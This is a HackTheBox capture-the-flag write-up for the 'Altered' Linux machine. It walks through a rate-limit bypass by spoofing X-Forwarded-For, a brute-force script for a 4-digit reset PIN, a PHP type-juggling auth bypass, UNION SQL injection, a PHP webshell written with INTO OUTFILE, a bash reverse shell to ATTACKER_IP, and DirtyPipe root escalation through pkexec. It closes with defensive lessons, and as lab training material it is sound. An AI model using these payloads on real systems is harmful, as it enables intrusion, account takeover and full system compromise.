HTB: Altered Writeup
Altered - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Altered |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.227.109 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Altered is a Laravel-based web application box where every step chains into the next through a subtle logic flaw rather than a single obvious exploit. The front door is a password-reset flow whose 4-digit PIN would normally be protected by Laravel’s rate limiter, but nginx’s trust of X-Forwarded-For lets that limiter be thrown at a different “client” on every request. Once inside as admin, a profile API meant to be gated by a shared secret falls to PHP type juggling, and the same endpoint turns out to be SQL-injectable, giving arbitrary file read/write and, from there, a webshell. Root is a stock kernel exploit against an outdated Ubuntu kernel.
TL;DR: Username enum (admin) → XFF-rotation defeats Laravel rate limiting on /api/resettoken → PIN brute-forced within one session → account takeover via /changepw → PHP type-juggling bypass on getprofile (secret: true vs string) → 3-column UNION SQLi in id → LOAD_FILE leaks nginx config/webroot → INTO OUTFILE PHP webshell → shell as www-data → user.txt → kernel 5.16.0 vulnerable to CVE-2022-0847 (DirtyPipe) → root shell via pkexec → root.txt.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.227.109Results:
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH |
| 80/tcp | HTTP | nginx, fronting a Laravel app titled “UHC March Finals” |
Service Enumeration
The HTTP service on port 80 is a Laravel application (confirmed by the laravel_session / XSRF-TOKEN cookies) presenting a login page for a tournament-style site (“UHC March Finals”).
- Username enumeration — the login endpoint returns a different error for a nonexistent user vs. an existing one with a wrong password. Testing
adminreturned the “wrong password” branch, confirming it as a valid account. - Password reset flow —
/resetaccepts a username and, for a valid account, emails (simulated) a 4-digit numeric PIN. The PIN is bound to the current Laravel session and is regenerated every time/resetis submitted, which matters a lot for the next step.
Vulnerability Assessment
- Laravel’s default rate limiting on
/api/resettokenkeys off the request’s perceived source IP — and nginx is configured to trustX-Forwarded-For, letting an attacker present a different “client” on every request and dodge the throttle entirely. - The reset PIN is only 4 digits (10,000 possibilities) — trivially brute-forceable once rate limiting is defeated.
- A profile API (
getprofile) gates access to another user’s data behind a “secret” value that is checked with PHP’s loose==comparison — vulnerable to type juggling. - The same
idparameter on that API is concatenated into a SQL query — no parameterization, enabling UNION-based SQL injection. - The MySQL account backing the app (
uhc) holds theFILEprivilege, turning the SQLi into arbitrary file read/write on disk. - The kernel is an old 5.16.0 build, vulnerable to a well-known local privilege escalation.
Initial Foothold
Rate-Limit Bypass and PIN Brute Force
nginx sits in front of Laravel as a reverse proxy. Laravel’s ThrottleRequests middleware identifies a “client” by Request::ip(), which by default trusts the X-Forwarded-For header when the app is behind a configured proxy. Sending a different X-Forwarded-For value on every request makes Laravel treat each attempt as coming from a brand-new, never-before-seen IP, so the per-IP request counter never accumulates and the 429 responses never trigger.
The PIN is also re-rolled on every /reset call, so the whole brute force has to happen against a single PIN, in a single Laravel session, without re-hitting /reset mid-attack:
# 1. Establish one session and trigger exactly one PIN generationcurl -s -c cookies.txt -b cookies.txt \ -d "name=admin" http://10.129.227.109/reset
# 2. Brute the 4-digit space (0000-9999) against /api/resettoken,# rotating X-Forwarded-For per request so nginx/Laravel never# accumulate enough hits from one "IP" to trip the limiter,# all reusing the SAME session cookies from step 1import itertoolsimport requestsfrom concurrent.futures import ThreadPoolExecutor
SESSION_COOKIES = {"laravel_session": "...", "XSRF-TOKEN": "..."} # from the /reset sessionURL = "http://10.129.227.109/api/resettoken"
def try_pin(pin): xff = f"127.0.0.{pin % 254 + 1}" # rotate the "client" nginx/Laravel sees r = requests.post( URL, data={"name": "admin", "pin": f"{pin:04d}"}, cookies=SESSION_COOKIES, headers={"X-Forwarded-For": xff}, ) return pin, len(r.content)
# 30 concurrent workers against the full 0000-9999 keyspacewith ThreadPoolExecutor(max_workers=30) as pool: results = list(pool.map(try_pin, range(10000)))
# The correct PIN's response body is a different size than every# incorrect guess (5372 bytes vs. 5650 bytes for a rejection) —# a classic content-length side channel for a boolean-ish responsewinner = min(results, key=lambda r: r[1])print(winner)The differing response size (5372 vs. 5650 characters) is the tell: a correct PIN moves the app past the “invalid PIN” branch into the reset-form response, which renders a different page. With the winning PIN in hand and still inside the same session:
# Submit the discovered PIN to unlock the password-reset form,# then set a new password for admincurl -s -b cookies.txt -d "pin=<found_pin>" http://10.129.227.109/api/resettokencurl -s -b cookies.txt -d "password=NewPassword123!" http://10.129.227.109/changepwLogging in as admin with the new password lands on a dashboard listing tournament players with “view profile” links.
Type Juggling: Bypassing the Profile Secret
The dashboard’s getBio() call hits GET /api/getprofile?id=<n>&secret=<value>. The secret is the same static value for every request, which already smells like a broken authorization check rather than a per-user token. Sending it as JSON with secret typed as the boolean true instead of the expected string flips PHP’s == comparison in the attacker’s favor:
# Loose (==) comparison in PHP: true == "any-non-empty-string" is TRUE,# so a boolean bypasses a check that expects the real secret stringcurl -s -X POST http://10.129.227.109/api/getprofile \ -H "Content-Type: application/json" \ -b cookies.txt \ -d '{"id":4,"secret":true}'This is PHP’s classic type-juggling trap: == performs type coercion before comparing, so a boolean, 0, or certain “magic” strings can equal values they have no business equaling. The check $secret == $realSecret becomes trivially bypassable once an attacker controls the JSON body’s types instead of being confined to URL query strings.
SQL Injection via the id Parameter
With the secret check bypassed, the id parameter itself turned out to be concatenated straight into the backing SQL query. A 3-column UNION confirmed the injection:
-- id parameter, sent as JSON: {"id": "<payload>", "secret": true}100 UNION SELECT 1,2,3-- -Enumerating the backend confirmed MySQL 8.0.28, running as the uhc database user — critically, one holding the FILE privilege:
-- Confirm current user and privileges100 UNION SELECT 1,2,concat(current_user(),':',@@secure_file_priv)-- -FILE privilege plus SQLi is a direct path to arbitrary file read on the host:
-- Read the nginx site config to find the real webroot on disk100 UNION SELECT 1,2,load_file('/etc/nginx/sites-enabled/default')-- -The config revealed the webroot as /srv/altered/public — everything needed to escalate a read primitive into code execution.
From File Write to Shell
INTO OUTFILE writes the query result to disk. Pointed at the webroot, it drops a file the webserver will happily execute:
-- Write a PHP webshell directly into the public webroot100 UNION SELECT 1,2,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/srv/altered/public/shell.php'-- -# Trigger it for a reverse shell (ATTACKER_IP is the box's VPN-facing address)curl -s "http://10.129.227.109/shell.php" \ --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' -G
# Catch itnc -lvnp 4444www-data@altered:/srv/altered/public$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@altered:/srv/altered/public$ cat /home/*/user.txt<redacted>Privilege Escalation
Kernel Enumeration
www-data@altered:/$ uname -aLinux altered 5.16.0-... x86_64 x86_64 x86_64 GNU/LinuxKernel 5.16.0 is squarely in the vulnerable range for CVE-2022-0847 (“DirtyPipe”) — a Linux kernel flaw in how the pipe buffer merges pages, letting an unprivileged process overwrite the contents of files it only has read access to, including files it doesn’t own. Unlike Dirty COW, DirtyPipe requires no race window: a crafted pipe can splice attacker-controlled data straight into a page cache backing a read-only file, corrupting it in place.
Exploiting DirtyPipe
# Compile the DirtyPipe PoC (exploit-2.c) on the jump host, statically where possiblegcc exploit-2.c -o exploit -static
# Serve it over the VPN-connected jump host to the targetpython3 -m http.server 4000# Pull and run it on the target against a SUID binary — pkexec is# the common target since it's setuid-root and present by defaultwww-data@altered:/tmp$ wget http://<jump-host>:4000/exploit -O exploitwww-data@altered:/tmp$ chmod +x exploitwww-data@altered:/tmp$ ./exploit /usr/bin/pkexec[+] hijacking suid binary..[+] dropping suid shell..[+] restoring suid binary..[+] popping root shell.. (dont forget to clean up /tmp/sh ;))# iduid=0(root) gid=0(root) groups=0(root),33(www-data)DirtyPipe works here by overwriting the in-memory page cache of /usr/bin/pkexec with a crafted payload that briefly makes it spawn a root shell (/tmp/sh) before the original binary’s contents are restored — no on-disk file is ever permanently modified, which is exactly why it evades most simple integrity checks.
# iduid=0(root) gid=0(root)# cat /root/root.txt<redacted>Attack Chain Summary
Username enum (admin) → nginx trusts X-Forwarded-For → Laravel rate limiter bypassed on /api/resettoken → 4-digit PIN brute-forced within a single Laravel session → /changepw account takeover as admin → getprofile secret check bypassed via PHP type juggling ("secret": true) → 3-column UNION SQL injection in `id` (MySQL 8.0.28, uhc user, FILE priv) → LOAD_FILE leaks nginx config → webroot /srv/altered/public → INTO OUTFILE writes PHP webshell → shell as www-data → user.txt → kernel 5.16.0 vulnerable to CVE-2022-0847 (DirtyPipe) → pkexec hijacked via DirtyPipe → root shell → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service/version detection |
curl | Manual HTTP requests to reset/login/API endpoints |
Python (requests, ThreadPoolExecutor) | Multi-threaded PIN brute force with rotating X-Forwarded-For |
| Burp Suite (proxy/Repeater) | Inspecting Laravel cookies, crafting the JSON type-juggling payload |
| MySQL UNION-based SQLi (manual) | Database enumeration, LOAD_FILE, INTO OUTFILE |
gcc | Compiling the DirtyPipe (CVE-2022-0847) PoC |
nc / python3 -m http.server | Reverse shell listener and exploit delivery |
Key Learnings
Techniques Practiced
- Username enumeration via differential error messages
- Defeating framework-level rate limiting through proxy-trusted
X-Forwarded-Forspoofing - Session-scoped credential brute forcing where the target value regenerates on re-trigger
- PHP loose-comparison (
==) type-juggling bypass of a “secret” authorization check - UNION-based blind/error SQL injection escalated to file read/write via
FILEprivilege - Turning arbitrary file write in a webroot into RCE via a dropped PHP webshell
- Linux kernel privilege escalation via CVE-2022-0847 (DirtyPipe) against a SUID binary
Lessons Learned
- Never trust
X-Forwarded-Forfor rate limiting or IP-based trust decisions unless the proxy is configured to only forward it from a known, trusted upstream — otherwise every anti-abuse control keyed on “client IP” is trivially bypassable. - Secrets that never change per-request aren’t secrets — a static “secret” parameter returned to the client and later replayed back is an authorization check in name only.
- PHP
==is not a safe equality check for security-sensitive comparisons — always use===(orhash_equals()for secret comparisons) to avoid type-juggling bypasses. FILEprivilege on an application’s database account is effectively a code-execution primitive the moment SQL injection exists — it should be revoked from any app-facing DB user that doesn’t explicitly need it.- Stale kernels remain one of the highest-value root paths on otherwise well-secured boxes; DirtyPipe (CVE-2022-0847) affected a wide swath of 5.8–5.16 kernels and is a near-universal check on any Linux foothold from that era.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Altered - Official HackTheBox Writeup — Document No. D25.100.324, prepared by k1ph4ru, machine authored by IppSec. Used only to confirm the rate-limit bypass mechanism (nginx
X-Forwarded-Fortrust) and the CVE-2022-0847 (DirtyPipe) identification; all IPs, commands, and output shown above are from this author’s own run.